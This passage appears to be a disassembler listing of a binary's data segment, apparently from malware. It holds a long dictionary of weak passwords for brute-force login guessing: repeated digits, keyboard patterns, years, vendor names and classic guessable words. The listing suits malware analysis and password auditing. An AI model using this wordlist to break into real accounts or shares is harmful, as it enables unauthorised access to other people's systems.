aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: seg002:0042E350o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: seg002:0042E34Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: seg002:0042E348o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: seg002:0042E344o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: seg002:0042E340o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: seg002:0042E33Co
		align 4
aAa		db 'aa',0               ; DATA XREF: seg002:0042E334o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: seg002:0042E328o
		align 4
aSex		db 'SEX',0              ; DATA XREF: seg002:0042E324o
aCreative	db 'CREATIVE',0         ; DATA XREF: seg002:0042E320o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: seg002:0042E31Co
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: seg002:0042E318o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: seg002:0042E314o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: seg002:0042E310o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: seg002:0042E30Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: seg002:0042E308o
aSony		db 'sony',0             ; DATA XREF: seg002:0042E304o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: seg002:0042E300o
a4321		db '4321',0             ; DATA XREF: seg002:0042E2F4o
		align 10h
a321		db '321',0              ; DATA XREF: seg002:0042E2F0o
a2006		db '2006',0             ; DATA XREF: seg002:0042E2E8o
		align 4
a2005		db '2005',0             ; DATA XREF: seg002:0042E2E4o
		align 4
a2004		db '2004',0             ; DATA XREF: seg002:0042E2E0o
		align 4
a2001		db '2001',0             ; DATA XREF: seg002:0042E2D4o
		align 4
a2000		db '2000',0             ; DATA XREF: seg002:0042E2D0o
		align 4
a1999		db '1999',0             ; DATA XREF: seg002:0042E2CCo
		align 4
a1998		db '1998',0             ; DATA XREF: seg002:0042E2C8o
		align 4
a1997		db '1997',0             ; DATA XREF: seg002:0042E2C4o
		align 4
a1996		db '1996',0             ; DATA XREF: seg002:0042E2C0o
		align 4
a1995		db '1995',0             ; DATA XREF: seg002:0042E2BCo
		align 4
a1994		db '1994',0             ; DATA XREF: seg002:0042E2B8o
		align 4
a1993		db '1993',0             ; DATA XREF: seg002:0042E2B4o
		align 4
a1992		db '1992',0             ; DATA XREF: seg002:0042E2B0o
		align 4
a1991		db '1991',0             ; DATA XREF: seg002:0042E2ACo
		align 4
a1990		db '1990',0             ; DATA XREF: seg002:0042E2A8o
		align 4
a1989		db '1989',0             ; DATA XREF: seg002:0042E2A4o
		align 4
a1988		db '1988',0             ; DATA XREF: seg002:0042E2A0o
		align 4
a1987		db '1987',0             ; DATA XREF: seg002:0042E29Co
		align 4
a1986		db '1986',0             ; DATA XREF: seg002:0042E298o
		align 4
a1985		db '1985',0             ; DATA XREF: seg002:0042E294o
		align 4
a1984		db '1984',0             ; DATA XREF: seg002:0042E290o
		align 4
a1983		db '1983',0             ; DATA XREF: seg002:0042E28Co
		align 4
a1982		db '1982',0             ; DATA XREF: seg002:0042E288o
		align 4
a1981		db '1981',0             ; DATA XREF: seg002:0042E284o
		align 4
a1980		db '1980',0             ; DATA XREF: seg002:0042E280o
		align 4
a1979		db '1979',0             ; DATA XREF: seg002:0042E27Co
		align 4
a1978		db '1978',0             ; DATA XREF: seg002:0042E278o
		align 4
a1977		db '1977',0             ; DATA XREF: seg002:0042E274o
		align 4
a1976		db '1976',0             ; DATA XREF: seg002:0042E270o
		align 4
a1975		db '1975',0             ; DATA XREF: seg002:0042E26Co
		align 4
a1974		db '1974',0             ; DATA XREF: seg002:0042E268o
		align 4
a1973		db '1973',0             ; DATA XREF: seg002:0042E264o
		align 4
a1972		db '1972',0             ; DATA XREF: seg002:0042E260o
		align 4
a1971		db '1971',0             ; DATA XREF: seg002:0042E25Co
		align 4
a1970		db '1970',0             ; DATA XREF: seg002:0042E258o
		align 4
a1969		db '1969',0             ; DATA XREF: seg002:0042E254o
		align 4
a1968		db '1968',0             ; DATA XREF: seg002:0042E250o
		align 4
a1967		db '1967',0             ; DATA XREF: seg002:0042E24Co
		align 4
a1966		db '1966',0             ; DATA XREF: seg002:0042E248o
		align 4
a1965		db '1965',0             ; DATA XREF: seg002:0042E244o
		align 4
a1964		db '1964',0             ; DATA XREF: seg002:0042E240o
		align 4
a1963		db '1963',0             ; DATA XREF: seg002:0042E23Co
		align 4
a1962		db '1962',0             ; DATA XREF: seg002:0042E238o
		align 4
a1961		db '1961',0             ; DATA XREF: seg002:0042E234o
		align 4
a1960		db '1960',0             ; DATA XREF: seg002:0042E230o
		align 4
a1959		db '1959',0             ; DATA XREF: seg002:0042E22Co
		align 4
a1958		db '1958',0             ; DATA XREF: seg002:0042E228o
		align 4
a1957		db '1957',0             ; DATA XREF: seg002:0042E224o
		align 4
a1956		db '1956',0             ; DATA XREF: seg002:0042E220o
		align 4
a1955		db '1955',0             ; DATA XREF: seg002:0042E21Co
		align 4
a1954		db '1954',0             ; DATA XREF: seg002:0042E218o
		align 4
a1953		db '1953',0             ; DATA XREF: seg002:0042E214o
		align 4
a1952		db '1952',0             ; DATA XREF: seg002:0042E210o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: seg002:0042E20Co
a1234asd	db '1234asd',0          ; DATA XREF: seg002:0042E208o
a1234abc	db '1234abc',0          ; DATA XREF: seg002:0042E204o
a123qwer	db '123qwer',0          ; DATA XREF: seg002:0042E1F0o
a12qwe		db '12qwe',0            ; DATA XREF: seg002:0042E1ECo
		align 4
a12asd		db '12asd',0            ; DATA XREF: seg002:0042E1E8o
		align 4
a12abc		db '12abc',0            ; DATA XREF: seg002:0042E1E4o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: seg002:0042E1E0o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: seg002:0042E1DCo
		align 4
a1asd		db '1asd',0             ; DATA XREF: seg002:0042E1D8o
		align 4
a1abc		db '1abc',0             ; DATA XREF: seg002:0042E1D4o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: seg002:0042E1D0o
		align 4
a123467890	db '123467890',0        ; DATA XREF: seg002:0042E1CCo
		align 4
a12346789	db '12346789',0         ; DATA XREF: seg002:0042E1C8o
		align 4
a1234678	db '1234678',0          ; DATA XREF: seg002:0042E1C4o
a123467		db '123467',0           ; DATA XREF: seg002:0042E1C0o
		align 4
a12346		db '12346',0            ; DATA XREF: seg002:0042E1BCo
		align 4
a121		db '121',0              ; DATA XREF: seg002:0042E194o
a1020		db '1020',0             ; DATA XREF: seg002:0042E18Co
		align 4
a0258		db '0258',0             ; DATA XREF: seg002:0042E188o
		align 10h
a8520		db '8520',0             ; DATA XREF: seg002:0042E184o
		align 4
a987		db '987',0              ; DATA XREF: seg002:0042E180o
a789		db '789',0              ; DATA XREF: seg002:0042E17Co
a654		db '654',0              ; DATA XREF: seg002:0042E178o
a456		db '456',0              ; DATA XREF: seg002:0042E174o
a1122		db '1122',0             ; DATA XREF: seg002:0042E170o
		align 10h
a0147		db '0147',0             ; DATA XREF: seg002:0042E16Co
		align 4
a7410		db '7410',0             ; DATA XREF: seg002:0042E168o
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: seg002:0042E160o
		align 4
a999999999	db '999999999',0        ; DATA XREF: seg002:0042E15Co
		align 4
a99999999	db '99999999',0         ; DATA XREF: seg002:0042E158o
		align 4
a9999999	db '9999999',0          ; DATA XREF: seg002:0042E154o
a999999		db '999999',0           ; DATA XREF: seg002:0042E150o
		align 4
a99999		db '99999',0            ; DATA XREF: seg002:0042E14Co
		align 4
a9999		db '9999',0             ; DATA XREF: seg002:0042E148o
		align 4
a999		db '999',0              ; DATA XREF: seg002:0042E144o
a99		db '99',0               ; DATA XREF: seg002:0042E140o
		align 4
a9:					; DATA XREF: seg002:0042E13Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: seg002:0042E138o
		align 4
a888888888	db '888888888',0        ; DATA XREF: seg002:0042E134o
		align 4
a8888888	db '8888888',0          ; DATA XREF: seg002:0042E12Co
a888888		db '888888',0           ; DATA XREF: seg002:0042E128o
		align 4
a88888		db '88888',0            ; DATA XREF: seg002:0042E124o
		align 10h
a8888		db '8888',0             ; DATA XREF: seg002:0042E120o
		align 4
a888		db '888',0              ; DATA XREF: seg002:0042E11Co
a88		db '88',0               ; DATA XREF: seg002:0042E118o
		align 10h
a8:					; DATA XREF: seg002:0042E114o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: seg002:0042E110o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: seg002:0042E10Co
		align 4
a77777777	db '77777777',0         ; DATA XREF: seg002:0042E108o
		align 4
a7777777	db '7777777',0          ; DATA XREF: seg002:0042E104o
a777777		db '777777',0           ; DATA XREF: seg002:0042E100o
		align 4
a77777		db '77777',0            ; DATA XREF: seg002:0042E0FCo
		align 10h
a7777		db '7777',0             ; DATA XREF: seg002:0042E0F8o
		align 4
a777		db '777',0              ; DATA XREF: seg002:0042E0F4o
a77		db '77',0               ; DATA XREF: seg002:0042E0F0o
		align 10h
a7:					; DATA XREF: seg002:0042E0ECo
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: seg002:0042E0E8o
		align 10h
a666666666	db '666666666',0        ; DATA XREF: seg002:0042E0E4o
		align 4
a66666666	db '66666666',0         ; DATA XREF: seg002:0042E0E0o
		align 4
a6666666	db '6666666',0          ; DATA XREF: seg002:0042E0DCo
a666666		db '666666',0           ; DATA XREF: seg002:0042E0D8o
		align 4
a66666		db '66666',0            ; DATA XREF: seg002:0042E0D4o
		align 10h
a6666		db '6666',0             ; DATA XREF: seg002:0042E0D0o
		align 4
a666		db '666',0              ; DATA XREF: seg002:0042E0CCo
a66		db '66',0               ; DATA XREF: seg002:0042E0C8o
		align 10h
a6:					; DATA XREF: seg002:0042E0C4o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: seg002:0042E0C0o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: seg002:0042E0BCo
		align 4
a55555555	db '55555555',0         ; DATA XREF: seg002:0042E0B8o
		align 4
a5555555	db '5555555',0          ; DATA XREF: seg002:0042E0B4o
a555555		db '555555',0           ; DATA XREF: seg002:0042E0B0o
		align 4
a55555		db '55555',0            ; DATA XREF: seg002:0042E0ACo
		align 10h
a5555		db '5555',0             ; DATA XREF: seg002:0042E0A8o
		align 4
a555		db '555',0              ; DATA XREF: seg002:0042E0A4o
a55		db '55',0               ; DATA XREF: seg002:0042E0A0o
		align 10h
a5:					; DATA XREF: seg002:0042E09Co
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: seg002:0042E098o
		align 10h
a444444444	db '444444444',0        ; DATA XREF: seg002:0042E094o
		align 4
a44444444	db '44444444',0         ; DATA XREF: seg002:0042E090o
		align 4
a4444444	db '4444444',0          ; DATA XREF: seg002:0042E08Co
a444444		db '444444',0           ; DATA XREF: seg002:0042E088o
		align 4
a44444		db '44444',0            ; DATA XREF: seg002:0042E084o
		align 10h
a4444		db '4444',0             ; DATA XREF: seg002:0042E080o
		align 4
a444		db '444',0              ; DATA XREF: seg002:0042E07Co
a44		db '44',0               ; DATA XREF: seg002:0042E078o
		align 10h
a4:					; DATA XREF: seg002:0042E074o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: seg002:0042E070o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: seg002:0042E06Co
		align 4
a33333333	db '33333333',0         ; DATA XREF: seg002:0042E068o
		align 4
a3333333	db '3333333',0          ; DATA XREF: seg002:0042E064o
a333333		db '333333',0           ; DATA XREF: seg002:0042E060o
		align 4
a33333		db '33333',0            ; DATA XREF: seg002:0042E05Co
		align 10h
a3333		db '3333',0             ; DATA XREF: seg002:0042E058o
		align 4
a333		db '333',0              ; DATA XREF: seg002:0042E054o
a33		db '33',0               ; DATA XREF: seg002:0042E050o
		align 10h
a3:					; DATA XREF: seg002:0042E04Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: seg002:0042E048o
		align 10h
a222222222	db '222222222',0        ; DATA XREF: seg002:0042E044o
		align 4
a22222222	db '22222222',0         ; DATA XREF: seg002:0042E040o
		align 4
a2222222	db '2222222',0          ; DATA XREF: seg002:0042E03Co
a222222		db '222222',0           ; DATA XREF: seg002:0042E038o
		align 4
a22222		db '22222',0            ; DATA XREF: seg002:0042E034o
		align 10h
a2222		db '2222',0             ; DATA XREF: seg002:0042E030o
		align 4
a222		db '222',0              ; DATA XREF: seg002:0042E02Co
a22		db '22',0               ; DATA XREF: seg002:0042E028o
		align 10h
a2:					; DATA XREF: seg002:0042E024o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: seg002:0042E020o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: seg002:0042E01Co
		align 4
a1111111	db '1111111',0          ; DATA XREF: seg002:0042E014o
a11111		db '11111',0            ; DATA XREF: seg002:0042E00Co
		align 4
a1111		db '1111',0             ; DATA XREF: seg002:0042E008o
		align 4
a11		db '11',0               ; DATA XREF: seg002:0042E000o
		align 4
a010		db '010',0              ; DATA XREF: seg002:0042DFF0o
a009		db '009',0              ; DATA XREF: seg002:0042DFECo
a008		db '008',0              ; DATA XREF: seg002:0042DFE8o
a006		db '006',0              ; DATA XREF: seg002:0042DFE0o
a005		db '005',0              ; DATA XREF: seg000:0040D04Eo
					; seg002:0042DFDCo
a004		db '004',0              ; DATA XREF: seg002:0042DFD8o
a003		db '003',0              ; DATA XREF: seg002:0042DFD4o
a002		db '002',0              ; DATA XREF: seg002:0042DFD0o
a001		db '001',0              ; DATA XREF: seg000:0040D039o
					; seg002:0042DFCCo
asc_42F27C	db '*********',0        ; DATA XREF: seg002:0042DFC8o
		align 4
asc_42F288	db '********',0         ; DATA XREF: seg002:0042DFC4o
		align 4
asc_42F294	db '*******',0          ; DATA XREF: seg002:0042DFC0o
asc_42F29C	db '******',0           ; DATA XREF: seg002:0042DFBCo
		align 4
asc_42F2A4	db '*****',0            ; DATA XREF: seg002:0042DFB8o
		align 4
asc_42F2AC	db '****',0             ; DATA XREF: seg002:0042DFB4o
		align 4
asc_42F2B4	db '***',0              ; DATA XREF: seg002:0042DFB0o
asc_42F2B8	db '**',0               ; DATA XREF: seg002:0042DFACo
		align 4
a0000000000	db '0000000000',0       ; DATA XREF: seg002:0042DFA4o
		align 4
a000000000	db '000000000',0        ; DATA XREF: seg002:0042DFA0o
		align 4
a@		db '@!',0               ; DATA XREF: seg002:0042DF80o
		align 4
a@_0		db '#@!',0              ; DATA XREF: seg002:0042DF7Co
a@_1		db '$#@!',0             ; DATA XREF: seg002:0042DF78o
		align 4
a@_2		db '%$#@!',0            ; DATA XREF: seg002:0042DF74o
		align 4
a@_3		db '^%$#@!',0           ; DATA XREF: seg002:0042DF70o
		align 4
a@_4		db '&^%$#@!',0          ; DATA XREF: seg002:0042DF6Co
a@_5		db '*&^%$#@!',0         ; DATA XREF: seg002:0042DF68o
		align 4
asc_42F308	db '$$$',0              ; DATA XREF: seg002:0042DF64o
asc_42F30C	db '$$',0               ; DATA XREF: seg002:0042DF60o
		align 10h
asc_42F310:				; DATA XREF: seg002:0042DF5Co
		unicode	0, <$>,0
a456_0		db '456+',0             ; DATA XREF: seg002:0042DF58o
		align 4
a789_0		db '789+',0             ; DATA XREF: seg002:0042DF54o
		align 4
a0		db '=-0',0              ; DATA XREF: seg002:0042DF50o
asc_42F328	db '--++',0             ; DATA XREF: seg002:0042DF4Co
		align 10h
asc_42F330	db '-+',0               ; DATA XREF: seg002:0042DF48o
		align 4
asc_42F334	db '----',0             ; DATA XREF: seg002:0042DF44o
		align 4
asc_42F33C	db '--',0               ; DATA XREF: seg002:0042DF3Co
					; seg002:0042DF40o
		align 10h
asc_42F340:				; DATA XREF: seg002:0042DF38o
		unicode	0, <->,0
asc_42F344	db '++++',0             ; DATA XREF: seg002:0042DF34o
		align 4
asc_42F34C	db '+++',0              ; DATA XREF: seg002:0042DF30o
asc_42F350	db '++',0               ; DATA XREF: seg002:0042DF2Co
		align 4
asc_42F354:				; DATA XREF: seg002:0042DF28o
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: seg002:0042DF24o
		align 4
a@_6:					; DATA XREF: seg000:0040D073o
					; seg002:0042DF20o
		unicode	0, <@>,0
off_42F360	dd offset loc_40211D+4	; DATA XREF: seg002:0042DF1Co
dword_42F364	dd 2121h		; DATA XREF: seg002:0042DF18o
dword_42F368	dd 24234021h, 2A265E25h, 0 ; DATA XREF:	seg002:0042DF10o
dword_42F374	dd 24234021h, 265E25h	; DATA XREF: seg002:0042DF0Co
dword_42F37C	dd 24234021h, 5E25h	; DATA XREF: seg002:0042DF08o
dword_42F384	dd 24234021h, 25h	; DATA XREF: seg002:0042DF04o
dword_42F38C	dd 234021h		; DATA XREF: seg002:0042DF00o
dword_42F390	dd 4021h		; DATA XREF: seg002:0042DEFCo
dword_42F394	dd 21h			; DATA XREF: seg000:0040CFD3o
					; seg000:0041299Ao ...
dword_42F398	dd 25h			; DATA XREF: seg002:0042DEF4o
aZimmerman	db 'zimmerman',0        ; DATA XREF: seg002:0042DEF0o
		align 4
aZap		db 'zap',0              ; DATA XREF: seg002:0042DEECo
aYellowstone	db 'yellowstone',0      ; DATA XREF: seg002:0042DEE8o
aXyz		db 'xyz',0              ; DATA XREF: seg002:0042DEE4o
					; seg002:0042E3DCo
aWisconsin	db 'wisconsin',0        ; DATA XREF: seg002:0042DEE0o
		align 4
aWilliamsburg	db 'williamsburg',0     ; DATA XREF: seg002:0042DEDCo
		align 4
aWholesale	db 'wholesale',0        ; DATA XREF: seg002:0042DED8o
		align 4
aTty		db 'tty',0              ; DATA XREF: seg002:0042DED4o
aTopography	db 'topography',0       ; DATA XREF: seg002:0042DED0o
		align 4
aTemptation	db 'temptation',0       ; DATA XREF: seg002:0042DECCo
		align 10h
aTelephone	db 'telephone',0        ; DATA XREF: seg002:0042DEC8o
		align 4
aTangerine	db 'tangerine',0        ; DATA XREF: seg002:0042DEC4o
		align 4
aSys		db 'sys',0              ; DATA XREF: seg002:0042DEC0o
aSupported	db 'supported',0        ; DATA XREF: seg002:0042DEBCo
		align 4
aSuperuser	db 'superuser',0        ; DATA XREF: seg002:0042DEB8o
		align 4
aSuperstage	db 'superstage',0       ; DATA XREF: seg002:0042DEB4o
		align 10h
aSun		db 'sun',0              ; DATA XREF: seg002:0042DEB0o
aStuttgart	db 'stuttgart',0        ; DATA XREF: seg002:0042DEACo
		align 10h
aStratford	db 'stratford',0        ; DATA XREF: seg002:0042DEA8o
		align 4
aStephanie	db 'stephanie',0        ; DATA XREF: seg002:0042DEA4o
		align 4
aSignature	db 'signature',0        ; DATA XREF: seg002:0042DEA0o
		align 4
aSheffield	db 'sheffield',0        ; DATA XREF: seg002:0042DE9Co
		align 10h
aSal		db 'sal',0              ; DATA XREF: seg002:0042DE98o
aRochester	db 'rochester',0        ; DATA XREF: seg002:0042DE94o
		align 10h
aRje		db 'rje',0              ; DATA XREF: seg002:0042DE90o
aRachmaninoff	db 'rachmaninoff',0     ; DATA XREF: seg002:0042DE8Co
		align 4
aPub		db 'pub',0              ; DATA XREF: seg002:0042DE88o
aProfessor	db 'professor',0        ; DATA XREF: seg002:0042DE84o
		align 4
aPrinceton	db 'princeton',0        ; DATA XREF: seg002:0042DE80o
		align 10h
aPondering	db 'pondering',0        ; DATA XREF: seg002:0042DE7Co
		align 4
aPolynomial	db 'polynomial',0       ; DATA XREF: seg002:0042DE78o
		align 4
aPersimmon	db 'persimmon',0        ; DATA XREF: seg002:0042DE74o
		align 4
aPercolate	db 'percolate',0        ; DATA XREF: seg002:0042DE70o
		align 10h
aPam		db 'pam',0              ; DATA XREF: seg002:0042DE6Co
aPad		db 'pad',0              ; DATA XREF: seg002:0042DE68o
aOceanography	db 'oceanography',0     ; DATA XREF: seg002:0042DE64o
		align 4
aNutrition	db 'nutrition',0        ; DATA XREF: seg002:0042DE60o
		align 4
aNew		db 'new',0              ; DATA XREF: seg002:0042DE5Co
aNet		db 'net',0              ; DATA XREF: seg002:0042DE58o
aMit		db 'mit',0              ; DATA XREF: seg002:0042DE54o
aMgr		db 'mgr',0              ; DATA XREF: seg002:0042DE50o
aMacintosh	db 'macintosh',0        ; DATA XREF: seg002:0042DE4Co
		align 10h
aLiz		db 'liz',0              ; DATA XREF: seg002:0042DE48o
aLee		db 'lee',0              ; DATA XREF: seg002:0042DE44o
aLamination	db 'lamination',0       ; DATA XREF: seg002:0042DE40o
		align 4
aKim		db 'kim',0              ; DATA XREF: seg002:0042DE3Co
aJoy		db 'joy',0              ; DATA XREF: seg002:0042DE34o
aJen		db 'jen',0              ; DATA XREF: seg002:0042DE30o
aInnocuous	db 'innocuous',0        ; DATA XREF: seg002:0042DE2Co
		align 4
aImbroglio	db 'imbroglio',0        ; DATA XREF: seg002:0042DE28o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: seg002:0042DE24o
aHappening	db 'happening',0        ; DATA XREF: seg002:0042DE20o
		align 4
aHal		db 'hal',0              ; DATA XREF: seg002:0042DE1Co
aGnu		db 'gnu',0              ; DATA XREF: seg002:0042DE18o
aFun		db 'fun',0              ; DATA XREF: seg002:0042DE14o
aForesight	db 'foresight',0        ; DATA XREF: seg002:0042DE10o
		align 10h
aFoolproof	db 'foolproof',0        ; DATA XREF: seg002:0042DE0Co
		align 4
aExtension	db 'extension',0        ; DATA XREF: seg002:0042DE08o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: seg002:0042DE04o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: seg002:0042DE00o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: seg002:0042DDFCo
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: seg002:0042DDF8o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: seg002:0042DDF4o
		align 4
aDos		db 'dos',0              ; DATA XREF: seg002:0042DDF0o
aDog		db 'dog',0              ; DATA XREF: seg002:0042DDECo
aDiscovery	db 'discovery',0        ; DATA XREF: seg002:0042DDE8o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: seg002:0042DDE4o
		align 4
aDeb		db 'deb',0              ; DATA XREF: seg002:0042DDE0o
aCornelius	db 'cornelius',0        ; DATA XREF: seg002:0042DDDCo
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: seg002:0042DDD8o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: seg002:0042DDD4o
		align 4
aChristina	db 'christina',0        ; DATA XREF: seg002:0042DDD0o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: seg002:0042DDCCo
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: seg002:0042DDC8o
		align 10h
aCat		db 'cat',0              ; DATA XREF: seg002:0042DDC4o
aCampanile	db 'campanile',0        ; DATA XREF: seg002:0042DDC0o
		align 10h
aCad		db 'cad',0              ; DATA XREF: seg002:0042DDBCo
aBsd		db 'bsd',0              ; DATA XREF: seg002:0042DDB8o
aBob		db 'bob',0              ; DATA XREF: seg002:0042DDB4o
aBicameral	db 'bicameral',0        ; DATA XREF: seg002:0042DDB0o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: seg002:0042DDACo
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: seg002:0042DDA8o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: seg002:0042DDA4o
aAsd		db 'asd',0              ; DATA XREF: seg002:0042DDA0o
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: seg002:0042DD9Co
		align 4
aAnn		db 'ann',0              ; DATA XREF: seg002:0042DD98o
aAndromache	db 'andromache',0       ; DATA XREF: seg002:0042DD94o
		align 4
aAmy		db 'amy',0              ; DATA XREF: seg002:0042DD90o
aAmorphous	db 'amorphous',0        ; DATA XREF: seg002:0042DD8Co
		align 4
aAma		db 'ama',0              ; DATA XREF: seg002:0042DD88o
aAlf		db 'alf',0              ; DATA XREF: seg002:0042DD84o
aAlbatross	db 'albatross',0        ; DATA XREF: seg002:0042DD80o
		align 4
aAda		db 'ada',0              ; DATA XREF: seg002:0042DD7Co
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: seg002:0042DD78o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: seg002:0042DD74o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: seg002:0042DD70o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: seg002:0042DD6Co
		align 4
aHax		db 'hax',0              ; DATA XREF: seg002:0042DD68o
aWh0re		db 'wh0re',0            ; DATA XREF: seg002:0042DD64o
		align 4
aHo		db 'ho',0               ; DATA XREF: seg002:0042DD60o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: seg002:0042DD5Co
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: seg002:0042DD58o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: seg002:0042DD54o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: seg002:0042DD50o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: seg002:0042DD4Co
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: seg002:0042DD48o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: seg002:0042DD44o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: seg002:0042DD40o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: seg002:0042DD3Co
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: seg002:0042DD38o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: seg002:0042DD34o
		align 4
aMs		db 'MS',0               ; DATA XREF: seg002:0042DD30o
		align 4
aM		db 'M$',0               ; DATA XREF: seg002:0042DD2Co
		align 10h
aBilly		db 'billy',0            ; DATA XREF: seg002:0042DD28o
		align 4
aWindose	db 'windose',0          ; DATA XREF: seg002:0042DD24o
aWindoze	db 'windoze',0          ; DATA XREF: seg002:0042DD20o
aWindowz	db 'windowz',0          ; DATA XREF: seg002:0042DD1Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: seg002:0042DD18o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: seg002:0042DD14o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: seg002:0042DD10o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: seg002:0042DD0Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: seg002:0042DD08o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: seg002:0042DD04o
aD00d		db 'd00d',0             ; DATA XREF: seg002:0042DD00o
		align 4
aLol		db 'lol',0              ; DATA XREF: seg002:0042DCFCo
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: seg002:0042DCF8o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: seg002:0042DCF4o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: seg002:0042DCF0o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: seg002:0042DCECo
		align 10h
aTestin		db 'testin',0           ; DATA XREF: seg002:0042DCE8o
		align 4
aTester		db 'tester',0           ; DATA XREF: seg002:0042DCE4o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: seg002:0042DCE0o
					; seg002:0042DF9Co
		align 4
aZulu		db 'zulu',0             ; DATA XREF: seg002:0042DCDCo
		align 4
aZombie		db 'zombie',0           ; DATA XREF: seg002:0042DCD8o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: seg002:0042DCD4o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: seg002:0042DCD0o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: seg002:0042DCCCo
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: seg002:0042DCC8o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: seg002:0042DCC4o
		align 4
aYoung		db 'young',0            ; DATA XREF: seg002:0042DCC0o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: seg002:0042DCBCo
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: seg002:0042DCB8o
aYellowst	db 'yellowst',0         ; DATA XREF: seg002:0042DCB4o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: seg002:0042DCB0o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: seg002:0042DCACo
		align 4
aYang		db 'yang',0             ; DATA XREF: seg002:0042DCA8o
					; seg002:0042E3E4o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: seg002:0042DCA4o
					; seg002:0042E3E0o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: seg002:0042DCA0o
		align 4
aXray		db 'xray',0             ; DATA XREF: seg002:0042DC9Co
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: seg002:0042DC98o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: seg002:0042DC94o
		align 4
aXman		db 'xman',0             ; DATA XREF: seg002:0042DC90o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: seg002:0042DC8Co
		align 4
aXena		db 'xena',0             ; DATA XREF: seg002:0042DC88o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: seg002:0042DC84o
aWwii		db 'wwii',0             ; DATA XREF: seg002:0042DC80o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: seg002:0042DC7Co
		align 4
aWorm		db 'worm',0             ; DATA XREF: seg002:0042DC78o
		align 10h
